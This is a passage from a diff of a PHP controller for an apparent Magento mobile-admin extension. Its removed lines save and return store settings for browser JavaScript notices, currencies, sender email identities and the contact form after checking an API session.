| 1350 |
-
//Show Notice if JavaScript is Disabled
|
| 1351 |
-
//$showNoticeValue = $post_data['showNoticeVal'];
|
| 1352 |
-
if(isset($post_data['showNoticeVal']))
|
| 1353 |
-
{
|
| 1354 |
-
if($storeId == 0)
|
| 1355 |
-
{
|
| 1356 |
-
Mage::getConfig()->saveConfig('web/browser_capabilities/javascript', $post_data['showNoticeVal'], 'default', $storeId);
|
| 1357 |
-
}
|
| 1358 |
-
else
|
| 1359 |
-
{
|
| 1360 |
-
Mage::getConfig()->saveConfig('web/browser_capabilities/javascript', $post_data['showNoticeVal'], 'stores', $storeId);
|
| 1361 |
-
}
|
| 1362 |
-
|
| 1363 |
-
$storeCodeUrlAction['successMessage'] = "Show Notice if JavaScript is Disabled Saved On ".$storeName." Store.";
|
| 1364 |
-
Mage::getConfig()->reinit();
|
| 1365 |
-
Mage::app()->reinitStores();
|
| 1366 |
-
}
|
| 1367 |
-
$storeCodeUrlAction['showNoticeValue'] = Mage::getStoreConfig('web/browser_capabilities/javascript', $storeId);
|
| 1368 |
-
|
| 1369 |
-
|
| 1370 |
-
// echo "<pre>"; print_r($storeCodeUrlAction); die;
|
| 1371 |
-
$jsonData = Mage::helper('core')->jsonEncode($storeCodeUrlAction);
|
| 1372 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 1373 |
-
}
|
| 1374 |
-
catch(Exception $e)
|
| 1375 |
-
{
|
| 1376 |
-
$errorResult['error'] = $e->getMessage();
|
| 1377 |
-
|
| 1378 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 1379 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 1380 |
-
}
|
| 1381 |
-
}
|
| 1382 |
-
else
|
| 1383 |
-
{
|
| 1384 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 1385 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 1386 |
-
}
|
| 1387 |
-
|
| 1388 |
-
}
|
| 1389 |
-
/***** End web section ******/
|
| 1390 |
-
|
| 1391 |
-
|
| 1392 |
-
|
| 1393 |
-
/***** Start Currency Setup section ******/
|
| 1394 |
-
|
| 1395 |
-
public function currencySetupAction()
|
| 1396 |
-
{
|
| 1397 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 1398 |
-
{
|
| 1399 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 1400 |
-
$sessionId = $post_data['session'];
|
| 1401 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 1402 |
-
{
|
| 1403 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 1404 |
-
return false;
|
| 1405 |
-
}
|
| 1406 |
-
|
| 1407 |
-
try
|
| 1408 |
-
{
|
| 1409 |
-
$storeId = $post_data['store'];
|
| 1410 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 1411 |
-
|
| 1412 |
-
// echo Mage::getStoreConfig('currency/options/base');
|
| 1413 |
-
// Mage::getConfig()->saveConfig('currency/options/base', 'INR', 'default', 0);
|
| 1414 |
-
// Mage::getConfig()->reinit();
|
| 1415 |
-
// Mage::app()->reinitStores();
|
| 1416 |
-
// die;
|
| 1417 |
-
|
| 1418 |
-
//Currency Options
|
| 1419 |
-
|
| 1420 |
-
//Base Currency
|
| 1421 |
-
$currenciesList = Mage::app()->getLocale()->getOptionCurrencies();
|
| 1422 |
-
|
| 1423 |
-
//$baseCurrValue = $post_data['baseCurrVal'];
|
| 1424 |
-
if(isset($post_data['baseCurrVal']))
|
| 1425 |
-
{
|
| 1426 |
-
//Mage::log($post_data['baseCurrVal'], null, "cart_android.log");
|
| 1427 |
-
Mage::getConfig()->saveConfig('currency/options/base', $post_data['baseCurrVal'], 'default', 0);
|
| 1428 |
-
|
| 1429 |
-
$storeCodeUrlAction['successMessage'] = "Base Currency Value Saved On ".$storeName." Store.";
|
| 1430 |
-
Mage::getConfig()->reinit();
|
| 1431 |
-
Mage::app()->reinitStores();
|
| 1432 |
-
}
|
| 1433 |
-
|
| 1434 |
-
$selectedCurrency = Mage::getStoreConfig('currency/options/base', 0);
|
| 1435 |
-
|
| 1436 |
-
foreach ($currenciesList as $value)
|
| 1437 |
-
{
|
| 1438 |
-
if($value['value'] == $selectedCurrency)
|
| 1439 |
-
{
|
| 1440 |
-
$baseCurr['value'] = $value['value'];
|
| 1441 |
-
$baseCurr['label'] = $value['label'];
|
| 1442 |
-
$baseCurr['status'] = 1;
|
| 1443 |
-
$currencySetupAction['baseCurrencyStatus'][] = $baseCurr;
|
| 1444 |
-
}
|
| 1445 |
-
else
|
| 1446 |
-
{
|
| 1447 |
-
$baseCurr['value'] = $value['value'];
|
| 1448 |
-
$baseCurr['label'] = $value['label'];
|
| 1449 |
-
$baseCurr['status'] = 0;
|
| 1450 |
-
$currencySetupAction['baseCurrencyStatus'][] = $baseCurr;
|
| 1451 |
-
}
|
| 1452 |
-
}
|
| 1453 |
-
|
| 1454 |
-
|
| 1455 |
-
|
| 1456 |
-
|
| 1457 |
-
|
| 1458 |
-
//Default Display Currency
|
| 1459 |
-
//$defaultDisCurrValue = $post_data['defaultDisplayCurrVal'];
|
| 1460 |
-
if(isset($post_data['defaultDisplayCurrVal']))
|
| 1461 |
-
{
|
| 1462 |
-
//Mage::log("nav", null, "cart_android.log");
|
| 1463 |
-
if($storeId == 0)
|
| 1464 |
-
{
|
| 1465 |
-
Mage::getConfig()->saveConfig('currency/options/default', $post_data['defaultDisplayCurrVal'], 'default', $storeId);
|
| 1466 |
-
}
|
| 1467 |
-
else
|
| 1468 |
-
{
|
| 1469 |
-
Mage::getConfig()->saveConfig('currency/options/default', $post_data['defaultDisplayCurrVal'], 'stores', $storeId);
|
| 1470 |
-
}
|
| 1471 |
-
|
| 1472 |
-
$currencySetupAction['successMessage'] = "Default Display Currency Value Saved On ".$storeName." Store.";
|
| 1473 |
-
Mage::getConfig()->reinit();
|
| 1474 |
-
Mage::app()->reinitStores();
|
| 1475 |
-
}
|
| 1476 |
-
$selectedDefaultCurrency = Mage::getStoreConfig('currency/options/default', $storeId);
|
| 1477 |
-
|
| 1478 |
-
foreach ($currenciesList as $value)
|
| 1479 |
-
{
|
| 1480 |
-
if($value['value'] == $selectedDefaultCurrency)
|
| 1481 |
-
{
|
| 1482 |
-
$defaultCurr['value'] = $value['value'];
|
| 1483 |
-
$defaultCurr['label'] = $value['label'];
|
| 1484 |
-
$defaultCurr['status'] = 1;
|
| 1485 |
-
$currencySetupAction['defaultDisplayCurrencyStatus'][] = $defaultCurr;
|
| 1486 |
-
}
|
| 1487 |
-
else
|
| 1488 |
-
{
|
| 1489 |
-
$defaultCurr['value'] = $value['value'];
|
| 1490 |
-
$defaultCurr['label'] = $value['label'];
|
| 1491 |
-
$defaultCurr['status'] = 0;
|
| 1492 |
-
$currencySetupAction['defaultDisplayCurrencyStatus'][] = $defaultCurr;
|
| 1493 |
-
}
|
| 1494 |
-
}
|
| 1495 |
-
|
| 1496 |
-
//echo "<pre>"; print_r($currencySetupAction); die;
|
| 1497 |
-
|
| 1498 |
-
|
| 1499 |
-
//Allowed Currencies
|
| 1500 |
-
//$allowedCurrValue = $post_data['allowedCurrVal'];
|
| 1501 |
-
if(isset($post_data['allowedCurrVal']))
|
| 1502 |
-
{
|
| 1503 |
-
//Mage::log($post_data['allowedCurrVal'], null, "cart_android.log");
|
| 1504 |
-
$implodeVal = implode(',', $post_data['allowedCurrVal']);
|
| 1505 |
-
if($storeId == 0)
|
| 1506 |
-
{
|
| 1507 |
-
Mage::getConfig()->saveConfig('currency/options/allow', $implodeVal, 'default', $storeId);
|
| 1508 |
-
}
|
| 1509 |
-
else
|
| 1510 |
-
{
|
| 1511 |
-
Mage::getConfig()->saveConfig('currency/options/allow', $implodeVal, 'stores', $storeId);
|
| 1512 |
-
}
|
| 1513 |
-
|
| 1514 |
-
$currencySetupAction['successMessage'] = "Allowed Currencies Value Saved On ".$storeName." Store.";
|
| 1515 |
-
Mage::getConfig()->reinit();
|
| 1516 |
-
Mage::app()->reinitStores();
|
| 1517 |
-
}
|
| 1518 |
-
$allowedCurrencies = Mage::getStoreConfig('currency/options/allow', $storeId);
|
| 1519 |
-
$explodedCurr = explode(',', $allowedCurrencies);
|
| 1520 |
-
foreach ($explodedCurr as $value)
|
| 1521 |
-
{
|
| 1522 |
-
$selectedCurrAllowed['allowedCurr'][] = $value;
|
| 1523 |
-
}
|
| 1524 |
-
//echo "<pre>"; print_r($selectedCurrAllowed['allowedCurr']); die;
|
| 1525 |
-
foreach ($currenciesList as $value)
|
| 1526 |
-
{
|
| 1527 |
-
if(in_array($value['value'], $selectedCurrAllowed['allowedCurr']))
|
| 1528 |
-
{
|
| 1529 |
-
$allowedCurr['value'] = $value['value'];
|
| 1530 |
-
$allowedCurr['label'] = $value['label'];
|
| 1531 |
-
$allowedCurr['status'] = 1;
|
| 1532 |
-
$currencySetupAction['allowedCurrenciesList'][] = $allowedCurr;
|
| 1533 |
-
}
|
| 1534 |
-
else
|
| 1535 |
-
{
|
| 1536 |
-
$allowedCurr['value'] = $value['value'];
|
| 1537 |
-
$allowedCurr['label'] = $value['label'];
|
| 1538 |
-
$allowedCurr['status'] = 0;
|
| 1539 |
-
$currencySetupAction['allowedCurrenciesList'][] = $allowedCurr;
|
| 1540 |
-
}
|
| 1541 |
-
}
|
| 1542 |
-
//echo "<pre>"; print_r($currencySetupAction1); die;
|
| 1543 |
-
|
| 1544 |
-
|
| 1545 |
-
|
| 1546 |
-
|
| 1547 |
-
//Webservicex
|
| 1548 |
-
|
| 1549 |
-
//Connection Timeout in Seconds
|
| 1550 |
-
if(isset($post_data['connectionTimedOutVal']))
|
| 1551 |
-
{
|
| 1552 |
-
//Mage::log($post_data['baseCurrVal'], null, "cart_android.log");
|
| 1553 |
-
Mage::getConfig()->saveConfig('currency/webservicex/timeout', $post_data['connectionTimedOutVal'], 'default', 0);
|
| 1554 |
-
|
| 1555 |
-
$storeCodeUrlAction['successMessage'] = "Connection Timeout Value Saved in Seconds On ".$storeName." Store.";
|
| 1556 |
-
// Mage::getConfig()->reinit();
|
| 1557 |
-
// Mage::app()->reinitStores();
|
| 1558 |
-
}
|
| 1559 |
-
$currencySetupAction['connectionTimedOutSelectedValue'] = Mage::getStoreConfig('currency/webservicex/timeout');
|
| 1560 |
-
|
| 1561 |
-
|
| 1562 |
-
//echo "<pre>"; print_r($currencySetupAction); die;
|
| 1563 |
-
$jsonData = Mage::helper('core')->jsonEncode($currencySetupAction);
|
| 1564 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 1565 |
-
|
| 1566 |
-
}
|
| 1567 |
-
catch(Exception $e)
|
| 1568 |
-
{
|
| 1569 |
-
$errorResult['error'] = $e->getMessage();
|
| 1570 |
-
|
| 1571 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 1572 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 1573 |
-
}
|
| 1574 |
-
}
|
| 1575 |
-
else
|
| 1576 |
-
{
|
| 1577 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 1578 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 1579 |
-
}
|
| 1580 |
-
}
|
| 1581 |
-
/***** End Currency Setup section ******/
|
| 1582 |
-
|
| 1583 |
-
|
| 1584 |
-
|
| 1585 |
-
/***** Start Store Email Addresses section ******/
|
| 1586 |
-
|
| 1587 |
-
public function storeEmailAddressAction()
|
| 1588 |
-
{
|
| 1589 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 1590 |
-
{
|
| 1591 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 1592 |
-
$sessionId = $post_data['session'];
|
| 1593 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 1594 |
-
{
|
| 1595 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 1596 |
-
return false;
|
| 1597 |
-
}
|
| 1598 |
-
|
| 1599 |
-
try
|
| 1600 |
-
{
|
| 1601 |
-
$storeId = $post_data['store'];
|
| 1602 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 1603 |
-
|
| 1604 |
-
//General Contact
|
| 1605 |
-
|
| 1606 |
-
//Sender Name
|
| 1607 |
-
if(isset($post_data['generalSenderNameVal']))
|
| 1608 |
-
{
|
| 1609 |
-
if($storeId == 0)
|
| 1610 |
-
{
|
| 1611 |
-
Mage::getConfig()->saveConfig('trans_email/ident_general/name', $post_data['generalSenderNameVal'], 'default', $storeId);
|
| 1612 |
-
}
|
| 1613 |
-
else
|
| 1614 |
-
{
|
| 1615 |
-
Mage::getConfig()->saveConfig('trans_email/ident_general/name', $post_data['generalSenderNameVal'], 'stores', $storeId);
|
| 1616 |
-
}
|
| 1617 |
-
|
| 1618 |
-
$storeEmailAddresses['successMessage'] = "Sender Name Saved On ".$storeName." Store.";
|
| 1619 |
-
Mage::getConfig()->reinit();
|
| 1620 |
-
Mage::app()->reinitStores();
|
| 1621 |
-
}
|
| 1622 |
-
$storeEmailAddresses['generalSenderNameSelectedValue'] = Mage::getStoreConfig('trans_email/ident_general/name', $storeId);
|
| 1623 |
-
|
| 1624 |
-
|
| 1625 |
-
|
| 1626 |
-
//Sender Email
|
| 1627 |
-
if(isset($post_data['generalSenderEmailVal']))
|
| 1628 |
-
{
|
| 1629 |
-
if($storeId == 0)
|
| 1630 |
-
{
|
| 1631 |
-
Mage::getConfig()->saveConfig('trans_email/ident_general/email', $post_data['generalSenderEmailVal'], 'default', $storeId);
|
| 1632 |
-
}
|
| 1633 |
-
else
|
| 1634 |
-
{
|
| 1635 |
-
Mage::getConfig()->saveConfig('trans_email/ident_general/email', $post_data['generalSenderEmailVal'], 'stores', $storeId);
|
| 1636 |
-
}
|
| 1637 |
-
|
| 1638 |
-
$storeEmailAddresses['successMessage'] = "Sender Email Saved On ".$storeName." Store.";
|
| 1639 |
-
Mage::getConfig()->reinit();
|
| 1640 |
-
Mage::app()->reinitStores();
|
| 1641 |
-
}
|
| 1642 |
-
$storeEmailAddresses['generalSenderEmailSelectedValue'] = Mage::getStoreConfig('trans_email/ident_general/email', $storeId);
|
| 1643 |
-
|
| 1644 |
-
|
| 1645 |
-
|
| 1646 |
-
|
| 1647 |
-
|
| 1648 |
-
//Sales Representative
|
| 1649 |
-
|
| 1650 |
-
//Sender Name
|
| 1651 |
-
if(isset($post_data['salesSenderNameVal']))
|
| 1652 |
-
{
|
| 1653 |
-
if($storeId == 0)
|
| 1654 |
-
{
|
| 1655 |
-
Mage::getConfig()->saveConfig('trans_email/ident_sales/name', $post_data['salesSenderNameVal'], 'default', $storeId);
|
| 1656 |
-
}
|
| 1657 |
-
else
|
| 1658 |
-
{
|
| 1659 |
-
Mage::getConfig()->saveConfig('trans_email/ident_sales/name', $post_data['salesSenderNameVal'], 'stores', $storeId);
|
| 1660 |
-
}
|
| 1661 |
-
|
| 1662 |
-
$storeEmailAddresses['successMessage'] = "Sender Name Saved On ".$storeName." Store.";
|
| 1663 |
-
Mage::getConfig()->reinit();
|
| 1664 |
-
Mage::app()->reinitStores();
|
| 1665 |
-
}
|
| 1666 |
-
$storeEmailAddresses['salesSenderNameSelectedValue'] = Mage::getStoreConfig('trans_email/ident_sales/name', $storeId);
|
| 1667 |
-
|
| 1668 |
-
|
| 1669 |
-
|
| 1670 |
-
//Sender Email
|
| 1671 |
-
if(isset($post_data['salesSenderEmailVal']))
|
| 1672 |
-
{
|
| 1673 |
-
if($storeId == 0)
|
| 1674 |
-
{
|
| 1675 |
-
Mage::getConfig()->saveConfig('trans_email/ident_sales/email', $post_data['salesSenderEmailVal'], 'default', $storeId);
|
| 1676 |
-
}
|
| 1677 |
-
else
|
| 1678 |
-
{
|
| 1679 |
-
Mage::getConfig()->saveConfig('trans_email/ident_sales/email', $post_data['salesSenderEmailVal'], 'stores', $storeId);
|
| 1680 |
-
}
|
| 1681 |
-
|
| 1682 |
-
$storeEmailAddresses['successMessage'] = "Sender Email Saved On ".$storeName." Store.";
|
| 1683 |
-
Mage::getConfig()->reinit();
|
| 1684 |
-
Mage::app()->reinitStores();
|
| 1685 |
-
}
|
| 1686 |
-
$storeEmailAddresses['salesSenderEmailSelectedValue'] = Mage::getStoreConfig('trans_email/ident_sales/email', $storeId);
|
| 1687 |
-
|
| 1688 |
-
|
| 1689 |
-
|
| 1690 |
-
|
| 1691 |
-
|
| 1692 |
-
//Customer Support
|
| 1693 |
-
|
| 1694 |
-
//Sender Name
|
| 1695 |
-
if(isset($post_data['customerSenderNameVal']))
|
| 1696 |
-
{
|
| 1697 |
-
if($storeId == 0)
|
| 1698 |
-
{
|
| 1699 |
-
Mage::getConfig()->saveConfig('trans_email/ident_support/name', $post_data['customerSenderNameVal'], 'default', $storeId);
|
| 1700 |
-
}
|
| 1701 |
-
else
|
| 1702 |
-
{
|
| 1703 |
-
Mage::getConfig()->saveConfig('trans_email/ident_support/name', $post_data['customerSenderNameVal'], 'stores', $storeId);
|
| 1704 |
-
}
|
| 1705 |
-
|
| 1706 |
-
$storeEmailAddresses['successMessage'] = "Sender Name Saved On ".$storeName." Store.";
|
| 1707 |
-
Mage::getConfig()->reinit();
|
| 1708 |
-
Mage::app()->reinitStores();
|
| 1709 |
-
}
|
| 1710 |
-
$storeEmailAddresses['customerSenderNameSelectedValue'] = Mage::getStoreConfig('trans_email/ident_support/name', $storeId);
|
| 1711 |
-
|
| 1712 |
-
|
| 1713 |
-
|
| 1714 |
-
//Sender Email
|
| 1715 |
-
if(isset($post_data['customerSenderEmailVal']))
|
| 1716 |
-
{
|
| 1717 |
-
if($storeId == 0)
|
| 1718 |
-
{
|
| 1719 |
-
Mage::getConfig()->saveConfig('trans_email/ident_support/email', $post_data['customerSenderEmailVal'], 'default', $storeId);
|
| 1720 |
-
}
|
| 1721 |
-
else
|
| 1722 |
-
{
|
| 1723 |
-
Mage::getConfig()->saveConfig('trans_email/ident_support/email', $post_data['customerSenderEmailVal'], 'stores', $storeId);
|
| 1724 |
-
}
|
| 1725 |
-
|
| 1726 |
-
$storeEmailAddresses['successMessage'] = "Sender Email Saved On ".$storeName." Store.";
|
| 1727 |
-
Mage::getConfig()->reinit();
|
| 1728 |
-
Mage::app()->reinitStores();
|
| 1729 |
-
}
|
| 1730 |
-
$storeEmailAddresses['customerSenderEmailSelectedValue'] = Mage::getStoreConfig('trans_email/ident_support/email', $storeId);
|
| 1731 |
-
|
| 1732 |
-
|
| 1733 |
-
|
| 1734 |
-
|
| 1735 |
-
|
| 1736 |
-
//Custom Email 1
|
| 1737 |
-
|
| 1738 |
-
//Sender Name
|
| 1739 |
-
if(isset($post_data['custom1SenderNameVal']))
|
| 1740 |
-
{
|
| 1741 |
-
if($storeId == 0)
|
| 1742 |
-
{
|
| 1743 |
-
Mage::getConfig()->saveConfig('trans_email/ident_custom1/name', $post_data['custom1SenderNameVal'], 'default', $storeId);
|
| 1744 |
-
}
|
| 1745 |
-
else
|
| 1746 |
-
{
|
| 1747 |
-
Mage::getConfig()->saveConfig('trans_email/ident_custom1/name', $post_data['custom1SenderNameVal'], 'stores', $storeId);
|
| 1748 |
-
}
|
| 1749 |
-
|
| 1750 |
-
$storeEmailAddresses['successMessage'] = "Sender Name Saved On ".$storeName." Store.";
|
| 1751 |
-
Mage::getConfig()->reinit();
|
| 1752 |
-
Mage::app()->reinitStores();
|
| 1753 |
-
}
|
| 1754 |
-
$storeEmailAddresses['custom1NameSelectedValue'] = Mage::getStoreConfig('trans_email/ident_custom1/name', $storeId);
|
| 1755 |
-
|
| 1756 |
-
|
| 1757 |
-
|
| 1758 |
-
//Sender Email
|
| 1759 |
-
if(isset($post_data['custom1EmailVal']))
|
| 1760 |
-
{
|
| 1761 |
-
if($storeId == 0)
|
| 1762 |
-
{
|
| 1763 |
-
Mage::getConfig()->saveConfig('trans_email/ident_custom1/email', $post_data['custom1EmailVal'], 'default', $storeId);
|
| 1764 |
-
}
|
| 1765 |
-
else
|
| 1766 |
-
{
|
| 1767 |
-
Mage::getConfig()->saveConfig('trans_email/ident_custom1/email', $post_data['custom1EmailVal'], 'stores', $storeId);
|
| 1768 |
-
}
|
| 1769 |
-
|
| 1770 |
-
$storeEmailAddresses['successMessage'] = "Sender Email Saved On ".$storeName." Store.";
|
| 1771 |
-
Mage::getConfig()->reinit();
|
| 1772 |
-
Mage::app()->reinitStores();
|
| 1773 |
-
}
|
| 1774 |
-
$storeEmailAddresses['custom1EmailSelectedValue'] = Mage::getStoreConfig('trans_email/ident_custom1/email', $storeId);
|
| 1775 |
-
|
| 1776 |
-
|
| 1777 |
-
|
| 1778 |
-
|
| 1779 |
-
|
| 1780 |
-
//Custom Email 2
|
| 1781 |
-
|
| 1782 |
-
//Sender Name
|
| 1783 |
-
if(isset($post_data['custom2SenderNameVal']))
|
| 1784 |
-
{
|
| 1785 |
-
if($storeId == 0)
|
| 1786 |
-
{
|
| 1787 |
-
Mage::getConfig()->saveConfig('trans_email/ident_custom2/name', $post_data['custom2SenderNameVal'], 'default', $storeId);
|
| 1788 |
-
}
|
| 1789 |
-
else
|
| 1790 |
-
{
|
| 1791 |
-
Mage::getConfig()->saveConfig('trans_email/ident_custom2/name', $post_data['custom2SenderNameVal'], 'stores', $storeId);
|
| 1792 |
-
}
|
| 1793 |
-
|
| 1794 |
-
$storeEmailAddresses['successMessage'] = "Sender Name Saved On ".$storeName." Store.";
|
| 1795 |
-
Mage::getConfig()->reinit();
|
| 1796 |
-
Mage::app()->reinitStores();
|
| 1797 |
-
}
|
| 1798 |
-
$storeEmailAddresses['custom2NameSelectedValue'] = Mage::getStoreConfig('trans_email/ident_custom2/name', $storeId);
|
| 1799 |
-
|
| 1800 |
-
|
| 1801 |
-
|
| 1802 |
-
//Sender Email
|
| 1803 |
-
if(isset($post_data['custom2EmailVal']))
|
| 1804 |
-
{
|
| 1805 |
-
if($storeId == 0)
|
| 1806 |
-
{
|
| 1807 |
-
Mage::getConfig()->saveConfig('trans_email/ident_custom2/email', $post_data['custom2EmailVal'], 'default', $storeId);
|
| 1808 |
-
}
|
| 1809 |
-
else
|
| 1810 |
-
{
|
| 1811 |
-
Mage::getConfig()->saveConfig('trans_email/ident_custom2/email', $post_data['custom2EmailVal'], 'stores', $storeId);
|
| 1812 |
-
}
|
| 1813 |
-
|
| 1814 |
-
$storeEmailAddresses['successMessage'] = "Sender Email Saved On ".$storeName." Store.";
|
| 1815 |
-
Mage::getConfig()->reinit();
|
| 1816 |
-
Mage::app()->reinitStores();
|
| 1817 |
-
}
|
| 1818 |
-
$storeEmailAddresses['custom2EmailSelectedValue'] = Mage::getStoreConfig('trans_email/ident_custom2/email', $storeId);
|
| 1819 |
-
|
| 1820 |
-
|
| 1821 |
-
//echo "<pre>"; print_r($storeEmailAddresses); die;
|
| 1822 |
-
$jsonData = Mage::helper('core')->jsonEncode($storeEmailAddresses);
|
| 1823 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 1824 |
-
}
|
| 1825 |
-
catch(Exception $e)
|
| 1826 |
-
{
|
| 1827 |
-
$errorResult['error'] = $e->getMessage();
|
| 1828 |
-
|
| 1829 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 1830 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 1831 |
-
}
|
| 1832 |
-
}
|
| 1833 |
-
else
|
| 1834 |
-
{
|
| 1835 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 1836 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 1837 |
-
}
|
| 1838 |
-
}
|
| 1839 |
-
/***** End Store Email Addresses section ******/
|
| 1840 |
-
|
| 1841 |
-
|
| 1842 |
-
/***** Start Contacts section ******/
|
| 1843 |
-
|
| 1844 |
-
protected $_options = null;
|
| 1845 |
-
public function emailSendersListArray()
|
| 1846 |
-
{
|
| 1847 |
-
if (is_null($this->_options)) {
|
| 1848 |
-
$this->_options = array();
|
| 1849 |
-
$config = Mage::getSingleton('adminhtml/config')->getSection('trans_email')->groups->children();
|
| 1850 |
-
foreach ($config as $node) {
|
| 1851 |
-
$nodeName = $node->getName();
|
| 1852 |
-
$label = (string) $node->label;
|
| 1853 |
-
$sortOrder = (int) $node->sort_order;
|
| 1854 |
-
$this->_options[$sortOrder] = array(
|
| 1855 |
-
'value' => preg_replace('#^ident_(.*)$#', '$1', $nodeName),
|
| 1856 |
-
'label' => Mage::helper('adminhtml')->__($label)
|
| 1857 |
-
);
|
| 1858 |
-
}
|
| 1859 |
-
ksort($this->_options);
|
| 1860 |
-
}
|
| 1861 |
-
|
| 1862 |
-
return $this->_options;
|
| 1863 |
-
}
|
| 1864 |
-
|
| 1865 |
-
public function contactsAction()
|
| 1866 |
-
{
|
| 1867 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 1868 |
-
{
|
| 1869 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 1870 |
-
$sessionId = $post_data['session'];
|
| 1871 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 1872 |
-
{
|
| 1873 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 1874 |
-
return false;
|
| 1875 |
-
}
|
| 1876 |
-
|
| 1877 |
-
try
|
| 1878 |
-
{
|
| 1879 |
-
$storeId = $post_data['store'];
|
| 1880 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 1881 |
-
|
| 1882 |
-
//Contact Us
|
| 1883 |
-
|
| 1884 |
-
//Enable Contact Us
|
| 1885 |
-
if(isset($post_data['enableContactUsVal']))
|
| 1886 |
-
{
|
| 1887 |
-
if($storeId == 0)
|
| 1888 |
-
{
|
| 1889 |
-
Mage::getConfig()->saveConfig('contacts/contacts/enabled', $post_data['enableContactUsVal'], 'default', $storeId);
|
| 1890 |
-
}
|
| 1891 |
-
else
|
| 1892 |
-
{
|
| 1893 |
-
Mage::getConfig()->saveConfig('contacts/contacts/enabled', $post_data['enableContactUsVal'], 'stores', $storeId);
|
| 1894 |
-
}
|
| 1895 |
-
|
| 1896 |
-
$storeContacts['successMessage'] = "Conatct Us Value updated On ".$storeName." Store.";
|
| 1897 |
-
Mage::getConfig()->reinit();
|
| 1898 |
-
Mage::app()->reinitStores();
|
| 1899 |
-
}
|
| 1900 |
-
$storeContacts['enableContactUsSelectedValue'] = Mage::getStoreConfig('contacts/contacts/enabled', $storeId);
|
| 1901 |
-
|
| 1902 |
-
|
| 1903 |
-
|
| 1904 |
-
|
| 1905 |
-
//Email Options
|
| 1906 |
-
|
| 1907 |
-
//Send Emails To
|
| 1908 |
-
if(isset($post_data['sendEmailsToVal']))
|
| 1909 |
-
{
|
| 1910 |
-
if($storeId == 0)
|
| 1911 |
-
{
|
| 1912 |
-
Mage::getConfig()->saveConfig('contacts/email/recipient_email', $post_data['sendEmailsToVal'], 'default', $storeId);
|
| 1913 |
-
}
|
| 1914 |
-
else
|
| 1915 |
-
{
|
| 1916 |
-
Mage::getConfig()->saveConfig('contacts/email/recipient_email', $post_data['sendEmailsToVal'], 'stores', $storeId);
|
| 1917 |
-
}
|
| 1918 |
-
|
| 1919 |
-
$storeContacts['successMessage'] = "Send Emails To Value updated On ".$storeName." Store.";
|
| 1920 |
-
Mage::getConfig()->reinit();
|
| 1921 |
-
Mage::app()->reinitStores();
|
| 1922 |
-
}
|
| 1923 |
-
$storeContacts['sendEmailsToSelectedValue'] = Mage::getStoreConfig('contacts/email/recipient_email', $storeId);
|
| 1924 |
-
|
| 1925 |
-
|
| 1926 |
-
|
| 1927 |
-
//Email Sender
|
| 1928 |
-
if(isset($post_data['senderEmailVal']))
|
| 1929 |
-
{
|
| 1930 |
-
if($storeId == 0)
|
| 1931 |
-
{
|
| 1932 |
-
Mage::getConfig()->saveConfig('contacts/email/sender_email_identity', $post_data['senderEmailVal'], 'default', $storeId);
|
| 1933 |
-
}
|
| 1934 |
-
else
|
| 1935 |
-
{
|
| 1936 |
-
Mage::getConfig()->saveConfig('contacts/email/sender_email_identity', $post_data['senderEmailVal'], 'stores', $storeId);
|
| 1937 |
-
}
|
| 1938 |
-
|
| 1939 |
-
$storeContacts['successMessage'] = "Email Sender updated On ".$storeName." Store.";
|
| 1940 |
-
Mage::getConfig()->reinit();
|
| 1941 |
-
Mage::app()->reinitStores();
|
| 1942 |
-
}
|
| 1943 |
-
|
| 1944 |
-
$emailSenderSelectedValue = Mage::getStoreConfig('contacts/email/sender_email_identity', $storeId);
|
| 1945 |
-
foreach ($this->emailSendersListArray() as $value)
|
| 1946 |
-
{
|
| 1947 |
-
if($value['value'] == $emailSenderSelectedValue)
|
| 1948 |
-
{
|
| 1949 |
-
$emailSenderArr['label'] = $value['label'];
|
| 1950 |
-
$emailSenderArr['value'] = $value['value'];
|
| 1951 |
-
$emailSenderArr['status'] = 1;
|
| 1952 |
-
$storeContacts['emailSenderStatusList'][] = $emailSenderArr;
|
| 1953 |
-
}
|
| 1954 |
-
else
|
| 1955 |
-
{
|
| 1956 |
-
$emailSenderArr['label'] = $value['label'];
|
| 1957 |
-
$emailSenderArr['value'] = $value['value'];
|
| 1958 |
-
$emailSenderArr['status'] = 0;
|
| 1959 |
-
$storeContacts['emailSenderStatusList'][] = $emailSenderArr;
|
| 1960 |
-
}
|
| 1961 |
-
}
|
| 1962 |
-
|
| 1963 |
-
|
| 1964 |
-
|
| 1965 |
-
|
| 1966 |
-
//Email Template
|
| 1967 |
-
if(isset($post_data['emailTemplateVal']))
|
| 1968 |
-
{
|
| 1969 |
